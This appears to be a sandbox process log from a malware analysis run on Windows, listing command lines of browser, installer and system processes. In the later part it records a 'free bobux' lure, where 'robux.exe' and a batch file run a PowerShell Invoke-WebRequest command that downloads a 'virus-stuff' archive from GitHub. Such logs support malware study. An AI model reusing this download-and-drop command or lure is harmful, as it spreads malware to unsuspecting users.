"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=122 --field-trial-handle=6336,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7164 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=14624,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=13512 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=14668,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14720 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=7260,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=6276 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2732 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4196 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --no-appcompat-clear --start-stack-profiler --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=988,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7032 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9712 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5984 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6324 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4876,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14736 /prefetch:8

C:\Users\Admin\Downloads\OperaSetup.exe

"C:\Users\Admin\Downloads\OperaSetup.exe"

C:\Users\Admin\AppData\Local\Temp\7zSCC31C31B\setup.exe

C:\Users\Admin\AppData\Local\Temp\7zSCC31C31B\setup.exe --server-tracking-blob=MGVhYWI0ZWMxOTNkYTMzOGUyMGQ4MGQwZTFlZmQ2MThlODFhZjRjZjU4YzE5MjE4NzI4NTM2MzllMDhkMDFlNjp7ImNvdW50cnkiOiJHQiIsImh0dHBfcmVmZXJyZXIiOiJodHRwczovL3d3dy5vcGVyYS5jb20vIiwiaW5zdGFsbGVyX25hbWUiOiJPcGVyYVNldHVwLmV4ZSIsInByb2R1Y3QiOiJvcGVyYSIsInF1ZXJ5IjoiL29wZXJhL3N0YWJsZS93aW5kb3dzP3V0bV9zb3VyY2U9c29mdG9uaWMmdXRtX21lZGl1bT1wYiZ1dG1fY2FtcGFpZ249RGlzcF9kaXNfY3B1Jmh0dHBfcmVmZXJyZXI9aHR0cHMlM0ElMkYlMkZ3d3cub3BlcmEuY29tJTJGcGFydG5lciUzRnV0bV9tZWRpdW0lM0RwYiUyNnV0bV9zb3VyY2UlM0Rzb2Z0b25pYyUyNnV0bV9jYW1wYWlnbiUzRERpc3BfZGlzX2NwdSZ1dG1fc2l0ZT1vcGVyYV9jb20mdXRtX2xhc3RwYWdlPW9wZXJhLmNvbSUyRnBhcnRuZXImZGxfdG9rZW49MjQ5MDQ3MzEiLCJ0aW1lc3RhbXAiOiIxNzI0NjUxNDI1LjQzMjkiLCJ1c2VyYWdlbnQiOiJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvOTAuMC40NDMwLjIxMiBTYWZhcmkvNTM3LjM2IEVkZy85MC4wLjgxOC42NiIsInV0bSI6eyJjYW1wYWlnbiI6IkRpc3BfZGlzX2NwdSIsImxhc3RwYWdlIjoib3BlcmEuY29tL3BhcnRuZXIiLCJtZWRpdW0iOiJwYiIsInNpdGUiOiJvcGVyYV9jb20iLCJzb3VyY2UiOiJzb2Z0b25pYyJ9LCJ1dWlkIjoiZmZmMmIxN2ItNDI2MS00YmFjLTlhZTUtZDQ5OTNjMDk3YWY4In0=

C:\Users\Admin\AppData\Local\Temp\7zSCC31C31B\setup.exe

C:\Users\Admin\AppData\Local\Temp\7zSCC31C31B\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=113.0.5230.32 --initial-client-data=0x33c,0x340,0x344,0x318,0x34c,0x7494ae8c,0x7494ae98,0x7494aea4

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe

"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe" --version

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3884 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4344 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8512 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9288 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8092 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10244 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10216 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9932 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=128 --field-trial-handle=7424,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=2908 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9804 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=14660,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=8040 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5076 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8060 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9288 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6120,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14740 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10744 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=131 --field-trial-handle=14744,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7308 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9412 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10016 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=13512,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=2896 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10312 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4896 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10560 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10180 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10752 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9928 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7916 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6260 /prefetch:8

C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe" /c

C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe" /ua /installsource scheduler

C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe" /cr

C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe" /ua /installsource core

C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe" /registermsihelper

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=7196,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=2912 /prefetch:8

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe" -Embedding

C:\Users\Admin\AppData\Local\Temp\Temp1_free-bobux-main.zip\free-bobux-main\robux.exe

"C:\Users\Admin\AppData\Local\Temp\Temp1_free-bobux-main.zip\free-bobux-main\robux.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\F6F.tmp\F70.tmp\F71.bat C:\Users\Admin\AppData\Local\Temp\Temp1_free-bobux-main.zip\free-bobux-main\robux.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Invoke-WebRequest https://github.com/astrohnugget/virus-stuff/archive/refs/heads/main.zip -outfile robux2.zip"

C:\Windows\system32\timeout.exe

timeout /t 10 /nobreak

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=134 --field-trial-handle=14648,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14128 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2900,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=8552 /prefetch:8

C:\Windows\system32\timeout.exe

timeout /t 20 /nobreak

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=136 --field-trial-handle=7164,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14712 /prefetch:2

C:\Program Files\Microsoft Office\root\Office16\Winword.exe

"C:\Program Files\Microsoft Office\root\Office16\Winword.exe" /n "C:\Users\Admin\AppData\Local\Temp\Temp1_free-bobux-main.zip\free-bobux-main\README.md"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Temp1_free-bobux-main.zip\free-bobux-main\free bobux.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Invoke-WebRequest https://github.com/astrohnugget/virus-stuff/archive/refs/heads/main.zip -outfile robux2.zip"

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=15332,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14708 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=138 --field-trial-handle=14080,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5532 /prefetch:2

C:\Windows\system32\timeout.exe

timeout /t 10 /nobreak

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=14596,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5516 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5508,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14112 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2288 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=14136,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14152 /prefetch:8

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004DC

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5684,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=15084 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7644 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1020 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=356,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7252 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=10512 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5768,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5324 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=145 --field-trial-handle=13576,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14628 /prefetch:2

C:\Windows\system32\NOTEPAD.EXE

